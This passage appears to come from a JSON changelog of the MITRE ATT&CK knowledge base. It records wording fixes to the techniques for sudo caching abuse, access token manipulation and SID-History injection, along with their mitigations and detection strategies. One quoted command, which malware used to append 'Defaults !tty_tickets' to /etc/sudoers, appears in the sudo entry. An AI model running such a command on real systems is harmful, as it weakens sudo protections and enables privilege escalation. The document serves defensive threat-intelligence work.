class=\"diff_header\">></td><td nowrap=\"nowrap\">ired&nbsp;to&nbsp;edit&nbsp;this&nbsp;file&nbsp;though.&nbsp;&nbsp;Adversaries&nbsp;can&nbsp;also&nbsp;abuse&nbsp;p</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ired&nbsp;to&nbsp;edit&nbsp;this&nbsp;file&nbsp;though.&nbsp;&nbsp;Adversaries&nbsp;can&nbsp;also&nbsp;abuse&nbsp;p</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">oor&nbsp;configurations&nbsp;of&nbsp;these&nbsp;mechanisms&nbsp;to&nbsp;escalate&nbsp;privilege</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">oor&nbsp;configurations&nbsp;of&nbsp;these&nbsp;mechanisms&nbsp;to&nbsp;escalate&nbsp;privilege</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">s&nbsp;without&nbsp;needing&nbsp;the&nbsp;user's&nbsp;password.&nbsp;For&nbsp;example,&nbsp;&lt;code&gt;/v</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">s&nbsp;without&nbsp;needing&nbsp;the&nbsp;user's&nbsp;password.&nbsp;For&nbsp;example,&nbsp;&lt;code&gt;/v</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ar/db/sudo&lt;/code&gt;'s&nbsp;timestamp&nbsp;can&nbsp;be&nbsp;monitored&nbsp;to&nbsp;see&nbsp;if&nbsp;it&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ar/db/sudo&lt;/code&gt;'s&nbsp;timestamp&nbsp;can&nbsp;be&nbsp;monitored&nbsp;to&nbsp;see&nbsp;if&nbsp;it&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">falls&nbsp;within&nbsp;the&nbsp;&lt;code&gt;timestamp_timeout&lt;/code&gt;&nbsp;range.&nbsp;If&nbsp;it</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">falls&nbsp;within&nbsp;the&nbsp;&lt;code&gt;timestamp_timeout&lt;/code&gt;&nbsp;range.&nbsp;If&nbsp;it</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;does,&nbsp;then&nbsp;malware&nbsp;can&nbsp;execute&nbsp;sudo&nbsp;commands&nbsp;without&nbsp;needin</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;does,&nbsp;then&nbsp;malware&nbsp;can&nbsp;execute&nbsp;sudo&nbsp;commands&nbsp;without&nbsp;needin</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">g&nbsp;to&nbsp;supply&nbsp;the&nbsp;user's&nbsp;password.&nbsp;Additional,&nbsp;if&nbsp;&lt;code&gt;tty_ti</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">g&nbsp;to&nbsp;supply&nbsp;the&nbsp;user's&nbsp;password.&nbsp;Additional<span class=\"diff_add\">ly</span>,&nbsp;if&nbsp;&lt;code&gt;tty_</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ckets&lt;/code&gt;&nbsp;is&nbsp;disabled,&nbsp;adversaries&nbsp;can&nbsp;do&nbsp;this&nbsp;from&nbsp;any&nbsp;t</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">tickets&lt;/code&gt;&nbsp;is&nbsp;disabled,&nbsp;adversaries&nbsp;can&nbsp;do&nbsp;this&nbsp;from&nbsp;any</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ty&nbsp;for&nbsp;that&nbsp;user.&nbsp;&nbsp;In&nbsp;the&nbsp;wild,&nbsp;malware&nbsp;has&nbsp;disabled&nbsp;&lt;code&gt;t</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;tty&nbsp;for&nbsp;that&nbsp;user.&nbsp;&nbsp;In&nbsp;the&nbsp;wild,&nbsp;malware&nbsp;has&nbsp;disabled&nbsp;&lt;code</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ty_tickets&lt;/code&gt;&nbsp;to&nbsp;potentially&nbsp;make&nbsp;scripting&nbsp;easier&nbsp;by&nbsp;is</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&gt;tty_tickets&lt;/code&gt;&nbsp;to&nbsp;potentially&nbsp;make&nbsp;scripting&nbsp;easier&nbsp;by&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">suing&nbsp;&lt;code&gt;echo&nbsp;\\'Defaults&nbsp;!tty_tickets\\'&nbsp;&gt;&gt;&nbsp;/etc/sudoers&lt;/</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">issuing&nbsp;&lt;code&gt;echo&nbsp;\\'Defaults&nbsp;!tty_tickets\\'&nbsp;&gt;&gt;&nbsp;/etc/sudoers</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">code&gt;.(Citation:&nbsp;cybereason&nbsp;osx&nbsp;proton)&nbsp;In&nbsp;order&nbsp;for&nbsp;this&nbsp;ch</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&lt;/code&gt;.(Citation:&nbsp;cybereason&nbsp;osx&nbsp;proton)&nbsp;In&nbsp;order&nbsp;for&nbsp;this&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ange&nbsp;to&nbsp;be&nbsp;reflected,&nbsp;the&nbsp;malware&nbsp;also&nbsp;issued&nbsp;&lt;code&gt;killall&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">change&nbsp;to&nbsp;be&nbsp;reflected,&nbsp;the&nbsp;malware&nbsp;also&nbsp;issued&nbsp;&lt;code&gt;killal</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">Terminal&lt;/code&gt;.&nbsp;As&nbsp;of&nbsp;macOS&nbsp;Sierra,&nbsp;the&nbsp;sudoers&nbsp;file&nbsp;has&nbsp;&lt;c</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">l&nbsp;Terminal&lt;/code&gt;.&nbsp;As&nbsp;of&nbsp;macOS&nbsp;Sierra,&nbsp;the&nbsp;sudoers&nbsp;file&nbsp;has&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ode&gt;tty_tickets&lt;/code&gt;&nbsp;enabled&nbsp;by&nbsp;default.</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&lt;code&gt;tty_tickets&lt;/code&gt;&nbsp;enabled&nbsp;by&nbsp;default.</td></tr>\n        </tbody>\n    </table>",
                    "changelog_mitigations": {
                        "shared": [
                            "M1022: Restrict File and Directory Permissions",
                            "M1026: Privileged Account Management",
                            "M1028: Operating System Configuration"
                        ],
                        "new": [],
                        "dropped": []
                    },
                    "changelog_datacomponent_detections": {
                        "shared": [],
                        "new": [],
                        "dropped": []
                    },
                    "changelog_detectionstrategy_detections": {
                        "shared": [
                            "DET0052: Behavioral Detection Strategy for Abuse of Sudo and Sudo Caching"
                        ],
                        "new": [],
                        "dropped": []
                    }
                },
                {
                    "type": "attack-pattern",
                    "id": "attack-pattern--dcaa092b-7de9-4a21-977f-7fcb77e89c48",
                    "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "created": "2017-12-14 16:46:06.044000+00:00",
                    "modified": "2026-11-03 21:48:27.890000+00:00",
                    "name": "Access Token Manipulation",
                    "description": "Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.\n\nAn adversary can use built-in Windows API functions to copy access tokens from existing processes; this is known as token stealing. These tokens can then be applied to an existing process (i.e. [Token Impersonation/Theft](https://attack.mitre.org/techniques/T1134/001)) or used to spawn a new process (i.e. [Create Process with Token](https://attack.mitre.org/techniques/T1134/002)). An adversary must already be in a privileged user context (i.e. administrator) to steal a token. However, adversaries commonly use token stealing to elevate their security context from the administrator level to the SYSTEM level. An adversary can then use a token to authenticate to a remote system as the account for that token if the account has appropriate permissions on the remote system.(Citation: Pentestlab Token Manipulation)\n\nAny standard user can use the <code>runas</code> command, and the Windows API functions, to create impersonation tokens; it does not require access to an administrator account. There are also other mechanisms, such as Active Directory fields, that can be used to modify access tokens.",
                    "kill_chain_phases": [
                        {
                            "kill_chain_name": "mitre-attack",
                            "phase_name": "stealth"
                        },
                        {
                            "kill_chain_name": "mitre-attack",
                            "phase_name": "privilege-escalation"
                        }
                    ],
                    "revoked": false,
                    "external_references": [
                        {
                            "source_name": "mitre-attack",
                            "url": "https://attack.mitre.org/techniques/T1134",
                            "external_id": "T1134"
                        },
                        {
                            "source_name": "Pentestlab Token Manipulation",
                            "description": "netbiosX. (2017, April 3). Token Manipulation. Retrieved April 21, 2017.",
                            "url": "https://pentestlab.blog/2017/04/03/token-manipulation/"
                        }
                    ],
                    "object_marking_refs": [
                        "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
                    ],
                    "x_mitre_attack_spec_version": "3.3.0",
                    "x_mitre_contributors": [
                        "Tom Ueltschi @c_APT_ure",
                        "Travis Smith, Tripwire",
                        "Robby Winchester, @robwinchester3",
                        "Jared Atkinson, @jaredcatkinson"
                    ],
                    "x_mitre_deprecated": false,
                    "x_mitre_domains": [
                        "enterprise-attack"
                    ],
                    "x_mitre_is_subtechnique": false,
                    "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "x_mitre_platforms": [
                        "Windows"
                    ],
                    "x_mitre_version": "3.0",
                    "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2026-11-03 21:48:27.890000+00:00\", \"old_value\": \"2026-05-12 15:12:00.722000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.\\n\\nAn adversary can use built-in Windows API functions to copy access tokens from existing processes; this is known as token stealing. These tokens can then be applied to an existing process (i.e. [Token Impersonation/Theft](https://attack.mitre.org/techniques/T1134/001)) or used to spawn a new process (i.e. [Create Process with Token](https://attack.mitre.org/techniques/T1134/002)). An adversary must already be in a privileged user context (i.e. administrator) to steal a token. However, adversaries commonly use token stealing to elevate their security context from the administrator level to the SYSTEM level. An adversary can then use a token to authenticate to a remote system as the account for that token if the account has appropriate permissions on the remote system.(Citation: Pentestlab Token Manipulation)\\n\\nAny standard user can use the <code>runas</code> command, and the Windows API functions, to create impersonation tokens; it does not require access to an administrator account. There are also other mechanisms, such as Active Directory fields, that can be used to modify access tokens.\", \"old_value\": \"Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.\\n\\nAn adversary can use built-in Windows API functions to copy access tokens from existing processes; this is known as token stealing. These token can then be applied to an existing process (i.e. [Token Impersonation/Theft](https://attack.mitre.org/techniques/T1134/001)) or used to spawn a new process (i.e. [Create Process with Token](https://attack.mitre.org/techniques/T1134/002)). An adversary must already be in a privileged user context (i.e. administrator) to steal a token. However, adversaries commonly use token stealing to elevate their security context from the administrator level to the SYSTEM level. An adversary can then use a token to authenticate to a remote system as the account for that token if the account has appropriate permissions on the remote system.(Citation: Pentestlab Token Manipulation)\\n\\nAny standard user can use the <code>runas</code> command, and the Windows API functions, to create impersonation tokens; it does not require access to an administrator account. There are also other mechanisms, such as Active Directory fields, that can be used to modify access tokens.\", \"diff\": \"--- \\n+++ \\n@@ -1,5 +1,5 @@\\n Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.\\n \\n-An adversary can use built-in Windows API functions to copy access tokens from existing processes; this is known as token stealing. These token can then be applied to an existing process (i.e. [Token Impersonation/Theft](https://attack.mitre.org/techniques/T1134/001)) or used to spawn a new process (i.e. [Create Process with Token](https://attack.mitre.org/techniques/T1134/002)). An adversary must already be in a privileged user context (i.e. administrator) to steal a token. However, adversaries commonly use token stealing to elevate their security context from the administrator level to the SYSTEM level. An adversary can then use a token to authenticate to a remote system as the account for that token if the account has appropriate permissions on the remote system.(Citation: Pentestlab Token Manipulation)\\n+An adversary can use built-in Windows API functions to copy access tokens from existing processes; this is known as token stealing. These tokens can then be applied to an existing process (i.e. [Token Impersonation/Theft](https://attack.mitre.org/techniques/T1134/001)) or used to spawn a new process (i.e. [Create Process with Token](https://attack.mitre.org/techniques/T1134/002)). An adversary must already be in a privileged user context (i.e. administrator) to steal a token. However, adversaries commonly use token stealing to elevate their security context from the administrator level to the SYSTEM level. An adversary can then use a token to authenticate to a remote system as the account for that token if the account has appropriate permissions on the remote system.(Citation: Pentestlab Token Manipulation)\\n \\n Any standard user can use the <code>runas</code> command, and the Windows API functions, to create impersonation tokens; it does not require access to an administrator account. There are also other mechanisms, such as Active Directory fields, that can be used to modify access tokens.\"}}}",
                    "previous_version": "3.0",
                    "description_change_table": "\n    <table class=\"diff\" id=\"difflib_chg_to10__top\"\n           cellspacing=\"0\" cellpadding=\"0\" rules=\"groups\" >\n        <colgroup></colgroup> <colgroup></colgroup> <colgroup></colgroup>\n        <colgroup></colgroup> <colgroup></colgroup> <colgroup></colgroup>\n        <thead><tr><th class=\"diff_next\"><br /></th><th colspan=\"2\" class=\"diff_header\">Old Description</th><th class=\"diff_next\"><br /></th><th colspan=\"2\" class=\"diff_header\">New Description</th></tr></thead>\n        <tbody>\n            <tr><td class=\"diff_next\" id=\"difflib_chg_to10__0\"><a href=\"#difflib_chg_to10__top\">t</a></td><td class=\"diff_header\" id=\"from10_1\">1</td><td nowrap=\"nowrap\">Adversaries&nbsp;may&nbsp;modify&nbsp;access&nbsp;tokens&nbsp;to&nbsp;operate&nbsp;under&nbsp;a&nbsp;diff</td><td class=\"diff_next\"><a href=\"#difflib_chg_to10__top\">t</a></td><td class=\"diff_header\" id=\"to10_1\">1</td><td nowrap=\"nowrap\">Adversaries&nbsp;may&nbsp;modify&nbsp;access&nbsp;tokens&nbsp;to&nbsp;operate&nbsp;under&nbsp;a&nbsp;diff</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">erent&nbsp;user&nbsp;or&nbsp;system&nbsp;security&nbsp;context&nbsp;to&nbsp;perform&nbsp;actions&nbsp;and</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">erent&nbsp;user&nbsp;or&nbsp;system&nbsp;security&nbsp;context&nbsp;to&nbsp;perform&nbsp;actions&nbsp;and</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;bypass&nbsp;access&nbsp;controls.&nbsp;Windows&nbsp;uses&nbsp;access&nbsp;tokens&nbsp;to&nbsp;deter</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;bypass&nbsp;access&nbsp;controls.&nbsp;Windows&nbsp;uses&nbsp;access&nbsp;tokens&nbsp;to&nbsp;deter</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">mine&nbsp;the&nbsp;ownership&nbsp;of&nbsp;a&nbsp;running&nbsp;process.&nbsp;A&nbsp;user&nbsp;can&nbsp;manipula</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">mine&nbsp;the&nbsp;ownership&nbsp;of&nbsp;a&nbsp;running&nbsp;process.&nbsp;A&nbsp;user&nbsp;can&nbsp;manipula</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">te&nbsp;access&nbsp;tokens&nbsp;to&nbsp;make&nbsp;a&nbsp;running&nbsp;process&nbsp;appear&nbsp;as&nbsp;though&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">te&nbsp;access&nbsp;tokens&nbsp;to&nbsp;make&nbsp;a&nbsp;running&nbsp;process&nbsp;appear&nbsp;as&nbsp;though&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">it&nbsp;is&nbsp;the&nbsp;child&nbsp;of&nbsp;a&nbsp;different&nbsp;process&nbsp;or&nbsp;belongs&nbsp;to&nbsp;someone</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">it&nbsp;is&nbsp;the&nbsp;child&nbsp;of&nbsp;a&nbsp;different&nbsp;process&nbsp;or&nbsp;belongs&nbsp;to&nbsp;someone</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;other&nbsp;than&nbsp;the&nbsp;user&nbsp;that&nbsp;started&nbsp;the&nbsp;process.&nbsp;When&nbsp;this&nbsp;occ</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;other&nbsp;than&nbsp;the&nbsp;user&nbsp;that&nbsp;started&nbsp;the&nbsp;process.&nbsp;When&nbsp;this&nbsp;occ</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">urs,&nbsp;the&nbsp;process&nbsp;also&nbsp;takes&nbsp;on&nbsp;the&nbsp;security&nbsp;context&nbsp;associat</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">urs,&nbsp;the&nbsp;process&nbsp;also&nbsp;takes&nbsp;on&nbsp;the&nbsp;security&nbsp;context&nbsp;associat</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ed&nbsp;with&nbsp;the&nbsp;new&nbsp;token.&nbsp;&nbsp;An&nbsp;adversary&nbsp;can&nbsp;use&nbsp;built-in&nbsp;Window</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ed&nbsp;with&nbsp;the&nbsp;new&nbsp;token.&nbsp;&nbsp;An&nbsp;adversary&nbsp;can&nbsp;use&nbsp;built-in&nbsp;Window</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">s&nbsp;API&nbsp;functions&nbsp;to&nbsp;copy&nbsp;access&nbsp;tokens&nbsp;from&nbsp;existing&nbsp;processe</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">s&nbsp;API&nbsp;functions&nbsp;to&nbsp;copy&nbsp;access&nbsp;tokens&nbsp;from&nbsp;existing&nbsp;processe</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">s;&nbsp;this&nbsp;is&nbsp;known&nbsp;as&nbsp;token&nbsp;stealing.&nbsp;These&nbsp;token<span class=\"diff_chg\">&nbsp;can&nbsp;then</span>&nbsp;be&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">s;&nbsp;this&nbsp;is&nbsp;known&nbsp;as&nbsp;token&nbsp;stealing.&nbsp;These&nbsp;token<span class=\"diff_chg\">s&nbsp;can&nbsp;then</span>&nbsp;be</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">applied&nbsp;to&nbsp;an&nbsp;existing&nbsp;process&nbsp;(i.e.&nbsp;[Token&nbsp;Impersonation/Th</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;applied&nbsp;to&nbsp;an&nbsp;existing&nbsp;process&nbsp;(i.e.&nbsp;[Token&nbsp;Impersonation/T</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">eft](https://attack.mitre.org/techniques/T1134/001))&nbsp;or&nbsp;used</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">heft](https://attack.mitre.org/techniques/T1134/001))&nbsp;or&nbsp;use</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;to&nbsp;spawn&nbsp;a&nbsp;new&nbsp;process&nbsp;(i.e.&nbsp;[Create&nbsp;Process&nbsp;with&nbsp;Token](ht</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">d&nbsp;to&nbsp;spawn&nbsp;a&nbsp;new&nbsp;process&nbsp;(i.e.&nbsp;[Create&nbsp;Process&nbsp;with&nbsp;Token](h</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">tps://attack.mitre.org/techniques/T1134/002)).&nbsp;An&nbsp;adversary&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ttps://attack.mitre.org/techniques/T1134/002)).&nbsp;An&nbsp;adversary</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">must&nbsp;already&nbsp;be&nbsp;in&nbsp;a&nbsp;privileged&nbsp;user&nbsp;context&nbsp;(i.e.&nbsp;administr</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;must&nbsp;already&nbsp;be&nbsp;in&nbsp;a&nbsp;privileged&nbsp;user&nbsp;context&nbsp;(i.e.&nbsp;administ</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ator)&nbsp;to&nbsp;steal&nbsp;a&nbsp;token.&nbsp;However,&nbsp;adversaries&nbsp;commonly&nbsp;use&nbsp;to</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">rator)&nbsp;to&nbsp;steal&nbsp;a&nbsp;token.&nbsp;However,&nbsp;adversaries&nbsp;commonly&nbsp;use&nbsp;t</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ken&nbsp;stealing&nbsp;to&nbsp;elevate&nbsp;their&nbsp;security&nbsp;context&nbsp;from&nbsp;the&nbsp;admi</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">oken&nbsp;stealing&nbsp;to&nbsp;elevate&nbsp;their&nbsp;security&nbsp;context&nbsp;from&nbsp;the&nbsp;adm</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">nistrator&nbsp;level&nbsp;to&nbsp;the&nbsp;SYSTEM&nbsp;level.&nbsp;An&nbsp;adversary&nbsp;can&nbsp;then&nbsp;u</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">inistrator&nbsp;level&nbsp;to&nbsp;the&nbsp;SYSTEM&nbsp;level.&nbsp;An&nbsp;adversary&nbsp;can&nbsp;then&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">se&nbsp;a&nbsp;token&nbsp;to&nbsp;authenticate&nbsp;to&nbsp;a&nbsp;remote&nbsp;system&nbsp;as&nbsp;the&nbsp;account</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">use&nbsp;a&nbsp;token&nbsp;to&nbsp;authenticate&nbsp;to&nbsp;a&nbsp;remote&nbsp;system&nbsp;as&nbsp;the&nbsp;accoun</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;for&nbsp;that&nbsp;token&nbsp;if&nbsp;the&nbsp;account&nbsp;has&nbsp;appropriate&nbsp;permissions&nbsp;o</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">t&nbsp;for&nbsp;that&nbsp;token&nbsp;if&nbsp;the&nbsp;account&nbsp;has&nbsp;appropriate&nbsp;permissions&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">n&nbsp;the&nbsp;remote&nbsp;system.(Citation:&nbsp;Pentestlab&nbsp;Token&nbsp;Manipulation</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">on&nbsp;the&nbsp;remote&nbsp;system.(Citation:&nbsp;Pentestlab&nbsp;Token&nbsp;Manipulatio</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">)&nbsp;&nbsp;Any&nbsp;standard&nbsp;user&nbsp;can&nbsp;use&nbsp;the&nbsp;&lt;code&gt;runas&lt;/code&gt;&nbsp;command,</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">n)&nbsp;&nbsp;Any&nbsp;standard&nbsp;user&nbsp;can&nbsp;use&nbsp;the&nbsp;&lt;code&gt;runas&lt;/code&gt;&nbsp;command</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;and&nbsp;the&nbsp;Windows&nbsp;API&nbsp;functions,&nbsp;to&nbsp;create&nbsp;impersonation&nbsp;toke</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">,&nbsp;and&nbsp;the&nbsp;Windows&nbsp;API&nbsp;functions,&nbsp;to&nbsp;create&nbsp;impersonation&nbsp;tok</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ns;&nbsp;it&nbsp;does&nbsp;not&nbsp;require&nbsp;access&nbsp;to&nbsp;an&nbsp;administrator&nbsp;account.&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ens;&nbsp;it&nbsp;does&nbsp;not&nbsp;require&nbsp;access&nbsp;to&nbsp;an&nbsp;administrator&nbsp;account.</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">There&nbsp;are&nbsp;also&nbsp;other&nbsp;mechanisms,&nbsp;such&nbsp;as&nbsp;Active&nbsp;Directory&nbsp;fi</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;There&nbsp;are&nbsp;also&nbsp;other&nbsp;mechanisms,&nbsp;such&nbsp;as&nbsp;Active&nbsp;Directory&nbsp;f</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">elds,&nbsp;that&nbsp;can&nbsp;be&nbsp;used&nbsp;to&nbsp;modify&nbsp;access&nbsp;tokens.</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ields,&nbsp;that&nbsp;can&nbsp;be&nbsp;used&nbsp;to&nbsp;modify&nbsp;access&nbsp;tokens.</td></tr>\n        </tbody>\n    </table>",
                    "changelog_mitigations": {
                        "shared": [
                            "M1018: User Account Management",
                            "M1026: Privileged Account Management"
                        ],
                        "new": [],
                        "dropped": []
                    },
                    "changelog_datacomponent_detections": {
                        "shared": [],
                        "new": [],
                        "dropped": []
                    },
                    "changelog_detectionstrategy_detections": {
                        "shared": [
                            "DET0283: Behavior-chain detection for T1134 Access Token Manipulation on Windows"
                        ],
                        "new": [],
                        "dropped": []
                    }
                },
                {
                    "type": "attack-pattern",
                    "id": "attack-pattern--b7dc639b-24cd-482d-a7f1-8897eda21023",
                    "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "created": "2020-02-18 18:34:49.414000+00:00",
                    "modified": "2026-11-04 00:30:16.932000+00:00",
                    "name": "SID-History Injection",
                    "description": "Adversaries may use SID-History Injection to escalate privileges and bypass access controls. The Windows security identifier (SID) is a unique value that identifies a user or group account. SIDs are used by Windows security in both security descriptors and access tokens.(Citation: Microsoft SID) An account can hold additional SIDs in the SID-History Active Directory attribute, allowing inter-operable account migration between domains (e.g., all values in SID-History are included in access tokens).(Citation: Microsoft SID-History Attribute) \n\nWith Domain Administrator (or equivalent) rights, harvested or well-known SID values(Citation: Microsoft Well Known SIDs Jun 2017) may be inserted into SID-History to enable impersonation of arbitrary users/groups such as Enterprise Administrators. This manipulation may result in elevated access to local resources and/or access to otherwise inaccessible domains via lateral movement techniques such as [Remote Services](https://attack.mitre.org/techniques/T1021), [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002), or [Windows 